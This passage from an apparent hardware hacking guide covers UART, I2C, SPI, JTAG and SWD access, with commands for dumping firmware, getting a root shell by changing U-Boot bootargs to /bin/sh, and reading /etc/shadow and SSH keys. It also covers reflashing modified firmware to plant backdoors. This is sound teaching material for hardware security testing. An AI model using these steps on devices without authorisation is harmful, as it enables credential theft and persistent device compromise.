{% endtab %} {% tab title="Soldering" %} Another option is to solder cables to the connector you found. This is especially useful if you only find flat pads to connect to.

2 cables soldered to UART

{% endtab %} {% tab title="Probes" %} Next, you can also connect your adapter to the UART interface using probes like the professional [PCBite](https://sensepeek.com/) or self-printed versions like this one:

Connect the needle pins to the UART interface

{% endtab %} {% endtabs %} ## Interact with UART On your PC use the following command to communicate over UART (you may have to adjust the baud rate) {% tabs %} {% tab title="Linux" %} 
sudo minicom -D /dev/ttyUSB0 -b 115200
sudo picocom -b 115200 -r -l /dev/ttyUSB0
Change the 115200 with the baud rate of your device (how to identify: see below) {% endtab %} {% tab title="Windows" %} **Using PuTTY (Windows)**: * Select “Serial” and enter the COM port (e.g., COM3) and baud rate (115200). {% endtab %} {% endtabs %} 5. If you see readable data: You done it correctly!

Bootlog

6. **If you see unreadable data then you probably have the wrong baud rate. Example**

Wrong baud rate produces unreadable data

### **Identifying the correct baud rate** * Quick win: Try to guess the baud rate, the most common ones are: * 9600, 38400, 19200, 57600, 115200 (which is probably the most common of all) * [Baudrate.py](https://github.com/sickcodes/python3-baudrate) is a script, which tests automatically for different baud rates * You can also try to manually identify the correct baud rate using a [logic analyzer](/hardware-hacking/basics/tools/hardware-tools/logic-analyzer) * When hovering your capture with the mouse in the Saleae Logic Software you can see the the width is equal to 111.111kHZ which is very close to 115200, so we should choose this baud rate

Use logic analyzer to get correct baud rate

**Congrats!** You found your first serial connection! Check out the UART chapter on how to use this to dump the firmware from the device. # Extract Firmware using UART #### At this point you should have: * Understand what UART does (if not check: [UART](/hardware-hacking/interface-interaction/uart)) * Identified UART pins (if not check:[ Identify UART](/hardware-hacking/interface-interaction/uart/uart-from-start-to-finish)) * Got a working connection to UART (if not check: [Connect to UART](/hardware-hacking/interface-interaction/uart/connect-to-uart)) #### Not all UART interfaces are the same. Infact manufacturers could output actually anything over it. So there is no guarante you can abuse UART to dump firmware or get a shell on the device. But there are common methods, which we want to discuss further: {% tabs %} {% tab title="Failsafe mode" %} Some manufacturers build a failsafe mode in their devices, which is designed as a recovery option, if the device is not operating correctly. An example for this is OpenWRT, which will print something like this in the bootlog: ``` Press the [f] key and hit [enter] to enter failsafe mode Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level ``` Pressing `F` will give us a root shell:

OpenWrt command command shell

Depending on your device you may have to mount the correct filesystem first: * Run `ls /dev` or `blkid` to locate storage devices and partitions (e.g., `/dev/sda1`, `/dev/mmcblk0p2`). * Use these commands to first create a mount point and then mound the filesystem: * `mkdir /mnt/filesystem` * `mount /dev/ /mnt/filesystem` * Now you may access the filesystem under `/mnt/filesystem` From here we can check if the root-filesystem is already been mounted and we can look for: * /etc/shadow hashes * ssh private keys * other credentials {% endtab %} {% tab title="U-Boot" %} If U-Boot is used, chances are that the "stop autoboot" function may not be disabled. Here we have to press any key within a certain timespan (for example 5 sec) and we will be provided with a U-Boot shell
Typing `help` will give us a list of all available commands To dump the firmware, we can then use one of these options: 1. **Using TFTP:** 1. On your attacker host: 1. Set up a TFTP server `sudo apt install tftpd-hpa` (files will be stored in`/srv/tftp`) 2. Create a firmware.bin file, as in TFTP that can't be done by the client: 1. ``` cd /srv/tftp sudo touch firmware.bin sudo chmod 666 firmware.bin ``` 2. In U-Boot: 1. Setup IP-Adresses: 1. ``` setenv ipaddr (e.g.: 10.0.0.2) setenv serverip (e.g.: 10.0.0.1) ``` 2. check if IP Adress are saved: `printenv` 3. Initialize the flash with `sf probe 0`. 4. Copy the flash contents to RAM (adjust offset and size): 1. `sf read ` 2. `sf read 0x82000000 0x0 0x1000000`. (=16MB in this case) 5. Transfer the data with TFTP: 1. `tftp ` 2. `tftp 0x82000000 firmware.bin 0x1000000`. 2. **Change Bootvariable** 1. Idea: change the binary, which is run, when booting up ⇒ booting into /bin/sh will give us directly a shell, without the need to specify the password 2. Steps: 1. `printenv` Print out the current variables, save the boot-arguments (something like `bootargs=console=ttyS1,115200n8 mem=39M@0x0 rmem=25M@0x2700000 init=/linuxrc rootfstype=squashfs root=` 2. Now we can overwrite the bootargs variable to boot into /bin/sh 1. `setenv bootargs "console=serial0,115200 console=tty1 init=/bin/sh"` 2. Please adjust the baudrate(`115200)` if your device is using another 3. Boot the system with the boot command 1. `boot` 3. Now you should be prompted with a root shell. Often you have to mount partitions, to be able to access all data 3. **Dump via Console** 1. We can also dump it in the console: (CAN BE SLOW!) 1. Read data: 1. `md.b ` 2. example: `md.b 0x82000000 0x1000000` 3. Save data to file using `CTRL-A L` in minicom for example (has to be trimmed) 2. If we want to dump from an MMC: 1. ```bash #list available MMCs mmc list # select an MMC to dump (we have to select one else next commands fail) mmc dev 0 #get info of mmc mmc info # get partition to see which partition we wanna dump (e.g. rootfs) mmc part # search in partition ext4ls mmc : ext4ls mmc 1:8 /home/root # read file from MMC to RAM ext4load mmc : ext4load mmc 1:8 0xC6200000 /etc/shadow # show the file from memory md.b md.b 0xC6200000 0x43C ``` Tool that does these steps automatically:[ https://github.com/nmatt0/firmwaretools](https://github.com/nmatt0/firmwaretools) 4. {% endtab %} {% tab title="Root-shell" %} If you drop directly into a root shell or if you can figure out the root-password (e.g. default creds), you can simply `dd` the partition to a usb stick or transfer it another way. Example: ```bash sudo dd if=/dev/sda of=/dev/sdb bs=4M status=progress ``` Replace: * `/dev/sda` with your root filesystem device * `/dev/sdb` with your USB stick device Ensure you verify the correct device paths to avoid overwriting important data. You can use `lsblk` or `fdisk -l` to check your devices. {% endtab %} {% endtabs %} ## Analyze firmware * Using `binwalk firmware.bin` we can try to analyze the firmware and extract sensitive information * check the "[Analyze Firmware](/hardware-hacking/analyze-firmware)" chapter ## Resources \*[Accessing and Dumping Firmware Through UART](https://www.cyberark.com/resources/threat-research-blog/accessing-and-dumping-firmware-through-uart) \*[Extracting Firmware: Every Method Explained](https://slava-moskvin.medium.com/extracting-firmware-every-method-explained-e94aa094d0dd) # I2C ## **Theory:** I2C (Inter-Integrated Circuit) is a synchronous, multi-master, multi-slave communication protocol used for short-range communication between components on a circuit board. I2C uses two main lines: * **SCL (Serial Clock Line):** Carries the clock signal generated by the master. * **SDA (Serial Data Line):** Carries the data between master and slave devices. I2C is commonly used to connect microcontrollers to sensors, memory devices (like EEPROMs), and other peripherals. As a pentester, gaining access to the I2C bus can reveal sensitive data, provide the ability to modify system configurations, or help you intercept communications between components. ## **Requirements:** 1. **Hardware:** * I2C Interface Adapter (Bus Pirate, Saleae Logic Analyzer, FTDI I2C modules) * Jumper wires * Multimeter (for checking pin voltages and identifying the correct lines) * Soldering kit (if pins are not exposed) 2. **Software:** * Tools for I2C communication: * `i2cdetect`, `i2cdump`, `i2cset` (Linux-based tools) * `Bus Pirate` tools for interacting with the I2C bus * Logic analyzer software for analyzing I2C traffic: * `Sigrok` with `PulseView` 3. Knowledge: * Some I2C devices may misbehave or crash if continuously scanned. Be cautious when using `i2cdetect` * Ensure your I2C adapter matches the voltage levels of the device (usually 3.3V or 5V) to avoid damaging components. ## **Common Attacks:** 1. **Identifying I2C Pins:** * In many cases, the I2C lines are not labeled. You can identify them using a multimeter to detect the voltage levels, typically 3.3V or 5V, on the SCL and SDA lines. **Command Example (Bus Pirate for identifying pins):** ```bash m # Select mode (I2C in this case) p # Probe the bus for activity ``` 2. **Device Discovery (I2C Bus Scanning):** * Once connected to the I2C bus, you can scan for active devices using the `i2cdetect` tool or Bus Pirate. This allows you to enumerate all the I2C devices on the bus. **Command Example (Linux I2C Bus Scan):** ```bash i2cdetect -y 1 #This scans I2C bus 1 and returns the addresses of all connected devices. ``` **Bus Pirate I2C Scan:** ```bash (1) m # Enter I2C mode (2) (3) # Search for I2C devices connected ``` 3. **Reading Data from I2C Devices:** * After identifying connected devices, you can read data from their registers, such as reading EEPROM contents or sensor data. **Command Example (Reading an EEPROM using `i2cdump`):** ```bash i2cdump -y 1 0x50 #This reads the data from the device at address 0x50 on bus 1. ``` **Bus Pirate Command (I2C EEPROM Read):** ```bash (1) m # Enter I2C mode (2) [ 0xA0 [ 0x00 r:32 ] # Read 32 bytes from the EEPROM starting at address 0x00 ``` 4. **Modifying Data on I2C Devices:** * You can also modify the data stored in an I2C device, such as changing configuration settings or writing to an EEPROM. **Command Example (Writing to an EEPROM using `i2cset`):** ```bash i2cset -y 1 0x50 0x00 0xFF #This writes the value 0xFF to address 0x00 of the EEPROM at I2C address 0x50. ``` **Bus Pirate Command (EEPROM Write):** ```bash (1) m # Enter I2C mode (2) [ 0xA0 0x00 0xFF ] # Write 0xFF to EEPROM address 0x00 ``` 5. **Sniffing I2C Traffic:** * Using a logic analyzer or a Bus Pirate, you can sniff I2C communication between the master and slave devices to capture sensitive information or reverse engineer the communication protocol. **Command Example (Bus Pirate I2C Sniffing):** ```bash (1) m # Enter I2C mode (2) s # Sniff I2C traffic ``` **Sigrok/PulseView for I2C Analysis:** * Connect the logic analyzer to the I2C lines and capture the signals. Use PulseView to decode the I2C data for easier analysis. 6. **Bypassing Security Mechanisms:** * Certain devices may have write protection or security features. Pentesters can manipulate the I2C bus to disable these mechanisms or force a reset. **Tools:** * **i2cset** (for sending specific commands to reset a device or change its configuration). **Command Example (Sending a reset command):** ```bash i2cset -y 1 0x50 0x00 0x06 ``` # SPI ## **Theory** SPI (Serial Peripheral Interface) is a synchronous communication protocol used primarily for short-distance communication between a microcontroller and peripheral devices such as sensors, memory chips (like EEPROMs and Flash memory), or displays. It operates in a master-slave configuration with four essential lines: * MOSI (Master Out Slave In): Data sent from the master to the slave. * MISO (Master In Slave Out): Data sent from the slave to the master. * SCK (Serial Clock): Clock signal generated by the master to synchronize communication. * SS (Slave Select): Signal used by the master to select the specific slave to communicate with. SPI is faster than UART and I2C, making it a popular choice in embedded systems. For pentesters, accessing SPI can lead to reading sensitive data, extracting firmware, or intercepting communications between the main processor and peripheral components. ## **Requirements:** 1. Hardware * SPI Interface Adapter (e.g., Bus Pirate, Saleae Logic Analyzer, FTDI-based USB to SPI adapters) * Jumper wires * Multimeter (for pin identification and voltage checks) * Soldering kit (if the SPI interface is not exposed) 2. Software * Tools to communicate with SPI: * `flashrom` (for reading/writing Flash memory) * `spidev` (for interacting with SPI devices in Linux) * `Bus Pirate` tools for data sniffing * Logic analyzers for reverse engineering SPI communication: * `Sigrok` with `PulseView` (for analyzing SPI signals) ## **Usage** 1. Identifying SPI Pins * SPI lines are often not labeled, so identifying them using a multimeter or checking the datasheet of the chip. You can check continuity and voltage levels to identify MOSI, MISO, SCK, and GND. Command Example (Bus Pirate for pin identification): ```bash i # In Bus Pirate terminal, this will give device and pinout information. ``` 2. SPI Flash Dumping * SPI flash memory is commonly used in embedded systems for storing firmware. Extracting the contents of SPI flash can provide a copy of the firmware for reverse engineering. Command Example (reading SPI Flash with flashrom): ```bash flashrom -p buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M -r firmware.bin ``` This command reads the flash memory via a Bus Pirate and saves it as `firmware.bin`. 3. SPI Sniffing (Intercepting Communication) * Using a logic analyzer or Bus Pirate, you can sniff the SPI communication between the master and slave to understand the data exchange, including sensitive data like cryptographic keys or firmware updates. Command Example (Bus Pirate SPI sniffing): ```bash (1) m # Enter SPI mode (2) c # Sniff SPI communication ``` 4. Firmware Modification and Flashing * After dumping the SPI flash, a pentester can modify the firmware (e.g., by adding a backdoor or modifying configurations) and flash it back to the device. Command Example (writing modified firmware): ```bash flashrom -p buspirate_spi:dev=/dev/ttyUSB0,spispeed=1M -w modified_firmware.bin ``` This writes a modified firmware image back to the device via the SPI interface. ## Resources \*[Bus Pirate](https://www.flashrom.org/supported_hw/supported_prog/buspirate.html) \*[Hardware Hacking 101: Interfacing With SPI/](https://riverloopsecurity.com/blog/2020/02/hw-101-spi/) # Extract Firmware using SPI Requirements: * external SPI flash, which has firmware stored * SPI capable reader (Buspirate, RaspberryPi, Xgecu T56, etc.) Let's say you find an external flash memory on a PCB: chances are good that it will store interesting information like the bootloader or the root-filesystem. ## Steps to Extract Firmware: 1. Identify the used flash chip by Google the chip description printed on it 1. in the datasheet of the chip you should find the pinout of the chip (the dot on the chip specifies the upper left corner 2. Example Pinout:

Example pinout of a flash chip

2. Connect your Flash reader probes to the pins of the chip: {% tabs %} {% tab title="Clamp" %} The quickest and easiest way to connect to a flash chip is by using a clamp, like these:

Clamps can be used to connect to pins on chip

Attach the clamp to the chip and the end to your programmer/debugger like the Bus Pirate or an Xgecu T56.

clamps connected to an SPI flash

{% endtab %} {% tab title="Soldering" %} If you don't have a clamp, you can also solder cables directly to the needed pins:
{% endtab %} {% tab title="Desoldering" %} **If Unsuccessful:** The methods before can be unsuccessful as the MCU on the PCB inteferes with the flash chip, making it unable to read out. In that cases you can try to: 1. Remove clock crystal on the PCB to stop the MCU from running 2. desolder the flash chip and read it out separately using XGECU T56 for example If the chip has internal pins (BGA layout) you might be required to desolder the chip. If you desoldered the chip, you can: 1. solder jumper cables on the correct pins 2. read the chip out by placing it on an adapter, like the XGecu T56:

SPI flash is read out using Xgecu T56

{% endtab %} {% tab title="Probes" %} You can also 3D-Print Board Probe Testing Jig like this one:
The needles probes will directly connect to the pins on the chip:
{% endtab %} {% endtabs %} # JTAG/SWD # JTAG ## **Theory** JTAG (Joint Test Action Group) is a standard interface used for testing, debugging, and programming embedded systems, especially microcontrollers and FPGAs. JTAG is often used during development to diagnose hardware issues or to program devices in-system. It allows direct access to a device’s memory, registers, and other critical functions. For pentesters, exploiting JTAG can provide deep insights into a device’s internals, enabling you to extract firmware, bypass security mechanisms, or alter device behavior. (Technical guide at the end of the page) ## **Requirements:** 1. Hardware * JTAG Adapter (e.g., Bus Pirate, Segger J-Link, FTDI-based adapters, or OpenOCD-compatible adapters) * Jumper wires to connect the JTAG adapter to the target device * Multimeter to check voltages and identify JTAG pins * Soldering kit (if JTAG pins are not exposed) 2. Software (choose one, which supports your debugger) * OpenOCD (Open On-Chip Debugger) for JTAG interaction * UrJTAG (open-source JTAG tools) * GDB (GNU Debugger) for debugging over JTAG * J-Link software (for Segger J-Link adapters) * Binwalk (for firmware analysis after extraction) ## **Usage** 1. Identifying JTAG Pins: * JTAG typically uses multiple pins, including: * TDI (Test Data In): Data input to the device. * TDO (Test Data Out): Data output from the device. * TCK (Test Clock): Clock signal for synchronization. * TMS (Test Mode Select): Mode selection signal. * TRST (Test Reset, optional): Resets the JTAG state machine. * Use a multimeter to check voltage levels on the JTAG header (typically 3.3V or 5V). Command Example (OpenOCD for Pin Identification): ```bash openocd -f interface/ftdi.cfg -f target/your_target.cfg -c "init; scan_chain; shutdown" ``` This command initializes the connection to the JTAG chain and identifies connected devices. 2. Dumping Firmware via JTAG: * Once the target device is discovered, JTAG can be used to dump the firmware from the device’s memory. This is a crucial step in analyzing the system for vulnerabilities, backdoors, or sensitive information. Command Example (Dumping Memory via OpenOCD): ```bash openocd -f interface/jlink.cfg -f target/stm32f4x.cfg -c "init; dump_image firmware.bin 0x08000000 0x10000; shutdown" ``` This dumps the firmware (size 0x10000 bytes) from memory address `0x08000000` to a file named `firmware.bin`. (check the datasheet of your target MCU where the firmware is stored+how big it is and change the command accordingly) 3. Modifying Firmware: * JTAG allows you to write directly to the device’s memory, including reprogramming the flash with modified firmware. This can be used to inject backdoors, modify settings, or tamper with system functions. Command Example (Flashing Firmware via OpenOCD): ```bash openocd -f interface/jlink.cfg -f target/stm32f4x.cfg -c "program modified_firmware.bin 0x08000000 verify reset exit" ``` This writes the `modified_firmware.bin` file to the target device and verifies the changes. 4. Debugging and Code Execution: * JTAG allows setting breakpoints and stepping through code, making it a powerful tool for debugging. You can halt execution, inspect memory, and control the flow of execution to analyze or bypass security mechanisms. Command Example (Attaching GDB to a JTAG Device): ```bash gdb-multiarch firmware.elf (gdb) target remote :3333 (gdb) monitor reset halt (gdb) break main (gdb) continue ``` This attaches GDB to the target device and sets a breakpoint at the `main` function. ## Technical Guide (not needed for Beginners) #### Boundary Scan Overview **Boundary scan** enables testing and debugging of devices by controlling and monitoring pin values without requiring physical access. This is achieved through the **Boundary Scan Register (BSR)**, a series of boundary scan cells that intercept signals between a device’s core logic and its pins. In normal operation, these cells are transparent, but in test mode, they allow setting or reading of values from pins or internal logic. #### JTAG Interface Signals (TAP) The **Test Access Port (TAP)** uses the following signals for boundary scan operations: * **TMS (Test Mode Select)**: Determines the next state of the TAP controller. * **TDI (Test Data In)**: Inputs data into the device's test or programming logic. * **TDO (Test Data Out)**: Outputs data from the device's test or programming logic. * **TRST (Test Reset)** (optional): Resets the TAP controller. * **TCK (Test Clock)**: Synchronizes the TAP controller and state machine operations. #### Registers in Boundary Scan Boundary scan uses two main types of registers: 1. **Instruction Register**: Holds the current instruction, determining which data register to operate on. 2. **Data Registers**: * **BSR (Boundary Scan Register)**: Transfers data to and from device pins for testing. * **BYPASS Register**: A single-bit register for quick data passthrough, minimizing overhead during multi-device testing. * **IDCODES Register**: Contains the device's ID and revision number, linking it to its Boundary Scan Description Language (BSDL) file. #### TAP Controller The TAP controller is a state machine controlled by the **TMS signal**, which transitions through states based on the IEEE 1149.1 JTAG standard. These states allow for: * Shifting data into or out of the **Instruction Register** or **Data Registers** (e.g., BSR, IDCODES, BYPASS). * Updating register values to interact with device pins or core logic. #### Common JTAG Instructions 1. **BYPASS**: Routes data directly from **TDI** to **TDO**, skipping internal logic for quick testing of other devices in the JTAG chain. 2. **EXTEST**: Uses the BSR to control and test pin states by shifting in new values and updating pins. 3. **SAMPLE/PRELOAD**: Samples functional data or preloads test data into the BSR while the device operates normally. 4. **IDCODE**: Accesses the IDCODES register to read the device’s unique ID. 5. **INTEST**: Operates on the core-logic signals of the device, rather than its pin states. ## Resources \*[A Hacker’s Guide To JTAG](https://hackaday.com/2020/04/08/a-hackers-guide-to-jtag/) \*[Hardware Hacking 101: Introduction to JTAG](https://riverloopsecurity.com/blog/2021/05/hw-101-jtag/) \*[Bus Blaster urJTAG guide](http://dangerousprototypes.com/docs/Bus_Blaster_urJTAG_guide) \*[Technical Guide to JTAG](https://www.xjtag.com/about-jtag/jtag-a-technical-overview/) # Identify JTAG ### 1. **Reminder of the Basics of JTAG** JTAG is typically implemented using the following standard signals, which we need to find: * **TDI**: Test Data In * **TDO**: Test Data Out * **TCK**: Test Clock * **TMS**: Test Mode Select * **TRST**: Test Reset (optional) ### 2. **Preliminary Examination** * **Inspect the PCB Layout** * Look for **pin headers** or **test points** with 4-10 pins in a row or dual row configuration. * Check for labeled pads or silkscreen markings such as **JTAG**, **TDI**, **TDO**, etc. * Examine components for known JTAG-compatible chips (e.g., ARM Cortex processors, FPGAs). * **Consult the Datasheet** * Identify major ICs on the PCB and locate their datasheets online. Search for: * JTAG or boundary scan capabilities. * Pin numbers corresponding to JTAG signals. * **Look for Clues** * Use magnification to inspect nearby traces. JTAG pins often connect directly to the processor or debug interfaces. * Check for standardized pinouts like ARM’s 20-pin or 10-pin connectors.

Potential JTAG interface

### 3. **Test for Common JTAG Pinouts** Here are a few common JTAG pinouts to reference:

Common JTAG pinouts

### 4. **Electrical Verification** * **Check Pin Voltage Levels** * Using a multimeter, measure the voltage on suspected pins when the device is powered on: * **TDI, TDO, TMS, TCK**: Typically operate at 1.8V, 3.3V, or 5V. * **GND**: Should read 0V. * **Vcc**: Will match the system voltage (e.g., 3.3V or 5V). * **Probe Continuity** * Use a multimeter in continuity mode to trace suspected pins: * Test connections between suspected pins and the processor’s JTAG pins (refer to the datasheet). * Identify Vcc and GND connections to nearby capacitors or power lines. {% hint style="info" %} Depending on the GND and VCC pins we can limit the number of possible JTAG pinouts! {% endhint %} ### 5. **Verification Using Test Tools** **a) Use a JTAG Finder** Tools like JTAGulator or Bus Pirate can assist in identifying JTAG signals by probing the pins automatically. b) **Connect a Debugger** 1. Attach a known JTAG debugger (e.g., OpenOCD or Segger J-Link) to the suspected interface. 2. Use debugging software to scan for a JTAG chain. 3. Look for a valid response to confirm the JTAG interface. ### 6. **Analyze Signal Activity** a) **Use an Oscilloscope or Logic Analyzer** 1. Monitor pin activity during device operation or reset. 2. Look for: * Clock signals on **TCK**. * Data transitions on **TDI**, **TDO**, or **TMS**. b) **Identify Pull-Up Resistors** Check if certain pins have pull-up resistors to Vcc, which is common for **TMS** or **TDI**. ## Resources * [Hardware Hacking 101: Identifying and Verifying JTAG on a Device](https://riverloopsecurity.com/blog/2021/05/hw-101-jtag-part2/) * [Technical Guide to JTAG](https://www.xjtag.com/about-jtag/jtag-a-technical-overview/) * [Hardware Hacking Experiments: Extracting Firmware from Embedded Device](https://github.com/koutto/hardware-hacking/blob/master/Hardware-Hacking-Experiments-Jeremy-Brun-Nouvion-2020.pdf) # SWD ## **Theory** SWD (Serial Wire Debug) is a 2-wire protocol used primarily for debugging ARM-based microcontrollers. It provides a lightweight alternative to JTAG (which uses multiple wires) while offering similar debugging capabilities. SWD allows direct access to the core of the microcontroller, enabling read/write access to memory, setting breakpoints, and controlling program execution. Pentesters often use SWD to reverse engineer firmware, modify device behavior, extract sensitive data, or bypass security mechanisms during hardware assessments. ## **Requirements** 1. Hardware * SWD Adapter (e.g., ST-Link, J-Link, or DAPLink) * Jumper wires for connecting the SWD interface to the target device * Multimeter (for voltage checks and pin identification) * Soldering kit (if the SWD interface isn't exposed) 2. Software * OpenOCD (Open On-Chip Debugger) for interacting with SWD * ST-Link Utility or J-Link software for specific adapters * GDB (GNU Debugger) for debugging over SWD 3. Best Pratices * Always verify the correct pinout and connection before interfacing with SWD, as incorrect wiring can damage the microcontroller. * Ensure your SWD adapter supports the voltage level of the target device (usually 3.3V or 5V) * Before modifying or erasing any memory, make sure to dump the existing firmware in case recovery is needed later. ## **Common Attacks** 1. Identifying SWD Pins * SWD consists of two main pins: * SWDIO (Serial Wire Debug Input/Output): Carries data between the debugger and the microcontroller. * SWCLK (Serial Wire Clock): Provides the clock signal for synchronization. * Use a multimeter to check continuity and voltage levels to identify SWDIO, SWCLK, and GND. Typically, SWD pins are part of a header on the device or exposed as test pads. Command Example (OpenOCD Pin Setup): ```bash openocd -f interface/stlink.cfg -f target/stm32f1x.cfg ``` This command sets up OpenOCD to connect via an ST-Link adapter and target an STM32 microcontroller. 2. Reading and Dumping Firmware * Once connected, you can dump the contents of the device’s memory (including firmware) using SWD. This can give you access to sensitive information or code that you can reverse engineer. Command Example (Dumping Firmware using OpenOCD): ```bash openocd -f interface/stlink.cfg -f target/stm32f1x.cfg -c "init; dump_image firmware.bin 0x08000000 0x10000; shutdown" ``` This dumps the firmware from memory address `0x08000000` to a file named `firmware.bin`. 3. Modifying or Restoring Firmware * You can also modify the device’s firmware or configuration in memory. This is useful for injecting backdoors, altering security settings, or unlocking device features. Command Example (Writing to Flash using OpenOCD): ```bash openocd -f interface/stlink.cfg -f target/stm32f1x.cfg -c "program new_firmware.bin 0x08000000 verify reset exit" ``` This flashes `new_firmware.bin` to the microcontroller and verifies it. 4. Debugging and Breakpoints * SWD allows setting breakpoints and stepping through code for reverse engineering or bypassing security functions in real time. Command Example (Attaching GDB to a Target): ```bash gdb-multiarch firmware.elf (gdb) target remote :3333 (gdb) monitor reset init (gdb) break main (gdb) continue ``` This attaches GDB to the target device and sets a breakpoint at the `main` function. ## Resources * [Unveiling Vulnerabilities: Exploring SWD Attack Surface in Hardware](https://redfoxsec.com/blog/unveiling-vulnerabilities-exploring-swd-attack-surface-in-hardware/) * [Find SWD Points Quickly, No Extra Hardware Needed](https://hackaday.com/2023/01/31/find-swd-points-quickly-no-extra-hardware-needed/) # Extract Firmware using JTAG/SWD If you found an active JTAG/SWD interface on a PCB it can be used to extract the firmware in some cases. ### Requirements #### Hardware 1. Target Device 2. JTAG/SWD Debugger ( like ST-Link, J-Link, or Bus Pirate. 3. JTAG/SWD Header/Pinout (TCK, TMS, TDI, TDO for JTAG or SWDIO, SWCLK for SWD). 4. Jumper Wires (to connect the debugger to the target device) 5. Power Source #### Software 1. Debugger-Tools: Open On-Chip Debugger (OpenOCD) or JLINK-Commander software for communicating with the JTAG/SWD interface. 2. Drivers: Drivers for your specific debugger (e.g., ST-Link or J-Link drivers). ## **Steps to Extract Firmware Over JTAG/SWD** #### 1. **Identify JTAG/SWD Pins** * Locate the JTAG or SWD pins on the target device. These are often labeled as follows: * JTAG Pins: * TCK (Test Clock) * TMS (Test Mode Select) * TDI (Test Data In) * TDO (Test Data Out) * GND (Ground) * SWD Pins: * SWDIO (Serial Wire Data Input/Output) * SWCLK (Serial Wire Clock) * GND (Ground) * Consult the device datasheet or use tools like a multimeter or datasheets to map out the connections. #### 2. **Connect the Debugger** * Use jumper wires to connect the JTAG/SWD pins on the target device to the corresponding pins on the debugger: * For JTAG: Connect TCK, TMS, TDI, TDO, and GND. (sometimes also RESET is needed) * For SWD: Connect SWDIO, SWCLK, and GND. * Make sure the connections are secure to avoid communication failures. #### 3. **Set Up Software and Dump firmware** {% tabs %} {% tab title="OpenOCD" %} 1. Install **OpenOCD** to manage communication between your debugger and the target device. 2. **GDB**: Install GNU Debugger for low-level device control. **Configure OpenOCD** * OpenOCD needs to be configured with the appropriate settings for your device. You can use pre-existing configuration files or create your own. For example: * Create a configuration file (`my_device.cfg`) that defines the target and interface: ```cfg interface jlink transport select jtag source [find target/stm32f1x.cfg] ; for an STM32 device, adapt for others ``` * Then, launch OpenOCD with: * ```bash openocd -f interface/jlink.cfg -f target/my_device.cfg ``` If the connection is correct we should see an output like this: ``` Open On-Chip Debugger 0.11.0 (2024-10-07) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : J-Link V10 compiled Aug 3 2024 15:23:43 Info : Hardware version: 10.10 Info : VTarget = 3.300 V Info : clock speed 1000 kHz Info : JTAG tap: stm32f429x.cpu tap/device found: 0x2ba01477 (mfg: 0x23b, part: 0xba01, ver: 0x2) Info : stm32f429x.cpu: hardware has 8 breakpoints, 4 watchpoints Info : starting gdb server for stm32f429x.cpu on 3333 Info : Listening on port 4444 for telnet connections Info : Listening on port 3333 for gdb connections ``` We can see that we have two options to interact with OpenOCD: **telnet** and **gdb** **Telnet:** 1. **Connect to OpenOCD via Telnet**: Open a separate terminal and connect to the OpenOCD server: ```bash telnet localhost 4444 ``` 2. **Successful connection output**: Once connected, you should see something like this: ``` Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Open On-Chip Debugger ``` 3. **Commands you can use via Telnet**: Here are a few example commands you might use via Telnet: ``` > reset halt # Reset and halt the target > flash write_image erase firmware.bin 0x08000000 # Write firmware to flash memory > mdw 0x08000000 # Read a memory word (32-bit) at the specified address > mww 0x20000000 0x12345678 # Write a memory word (32-bit) to the specified address > step # Step through the target's instructions > resume # Continue execution ``` **GDB:** 
# Launch GDB
arm-none-eabi-gdb

# Inside GDB, connect to OpenOCD via localhost on port 3333
(gdb) target remote localhost:3333

# Perform a reset and halt the target
(gdb) monitor reset halt

# Dump the firmware of the target
(gdb) dump binary memory <filename> <start-address> <end-address>
# example /Adjust the memory address range based on your target device’s memory map):
(gdb) dump binary memory firmware.bin 0x08000000 0x080FFFFF

# Continue execution
(gdb) continue
{% endtab %} {% tab title="Jlink.exe" %} **Commands to Dump Firmware Using J-Link Commander** 1. **Start J-Link Commander**: Run the `JLinkExe` command to launch J-Link Commander. ```bash JLinkExe ``` 2. **Connect to the Target**: You will need to specify the target device and the connection interface. For example, for an STM32F4 target connected via JTAG, you might see the following prompt: ```yaml SEGGER J-Link Commander V6.88b (Compiled Jul 22 2024 16:21:34) DLL version V6.88b, compiled Jul 22 2024 16:21:06 Connecting to J-Link via USB...O.K. Firmware: J-Link ARM V10 compiled Jul 3 2024 14:22:47 Hardware: V10.10 S/N: 123456789 License(s): RDI, FlashBP, GDB VTref=3.300V ``` **Enter the target details**: ``` Device> STM32F429ZI # Replace with your target device ``` **Interface selection**: ``` TIF> JTAG # Or SWD, depending on your setup ``` 3. **Halt the Target**: To ensure a consistent firmware dump, halt the CPU: ```bash halt ``` **Expected output**: ``` PC = 0x08000100, CycleCnt = 0x00000000 R0 = 0x20000000, R1 = 0x08001000, R2 = 0x20002000, R3 = 0x00000000 R4 = 0x00000000, R5 = 0x00000000, R6 = 0x00000000, R7 = 0x00000000 R8 = 0x00000000, R9 = 0x00000000, R10= 0x00000000, R11= 0x00000000 R12= 0x00000000, SP (R13)= 0x20002000, LR (R14)= 0x0800055F, PC = 0x08000100 CPSR = 0x60000010 ``` 4. **Read Memory and Dump to a File**: Use the `savebin` command to dump the firmware (Adjust the Offset and size depending on your targets memory map). ```bash savebin firmware_dump.bin 0x08000000 0x10000 ``` * `firmware_dump.bin`: The name of the binary file where the memory content will be saved. * `0x08000000`: Start address of the firmware (for most STM32 devices, this is the start of flash memory). * `0x10000`: The size of the memory region to dump (in this case, 64KB). **Full Example Session** ```bash $ JLinkExe SEGGER J-Link Commander V6.88b (Compiled Jul 22 2024 16:21:34) DLL version V6.88b, compiled Jul 22 2024 16:21:06 Connecting to J-Link via USB...O.K. Firmware: J-Link ARM V10 compiled Jul 3 2024 14:22:47 Hardware: V10.10 S/N: 123456789 License(s): RDI, FlashBP, GDB VTref=3.300V Device> STM32F429ZI TIF> JTAG Speed> 1000 # Set speed to 1 MHz JTAG speed set to 1000 kHz Device "STM32F429ZI" selected. J-Link> halt PC = 0x08000100, CycleCnt = 0x00000000 R0 = 0x20000000, R1 = 0x08001000, R2 = 0x20002000, R3 = 0x00000000 R4 = 0x00000000, R5 = 0x00000000, R6 = 0x00000000, R7 = 0x00000000 R8 = 0x00000000, R9 = 0x00000000, R10= 0x00000000, R11= 0x00000000 R12= 0x00000000, SP (R13)= 0x20002000, LR (R14)= 0x0800055F, PC = 0x08000100 CPSR = 0x60000010 J-Link> savebin firmware_dump.bin 0x08000000 0x10000 Writing 65536 bytes to file firmware_dump.bin O.K. ``` {% endtab %} {% endtabs %} ### After dumping the firmware 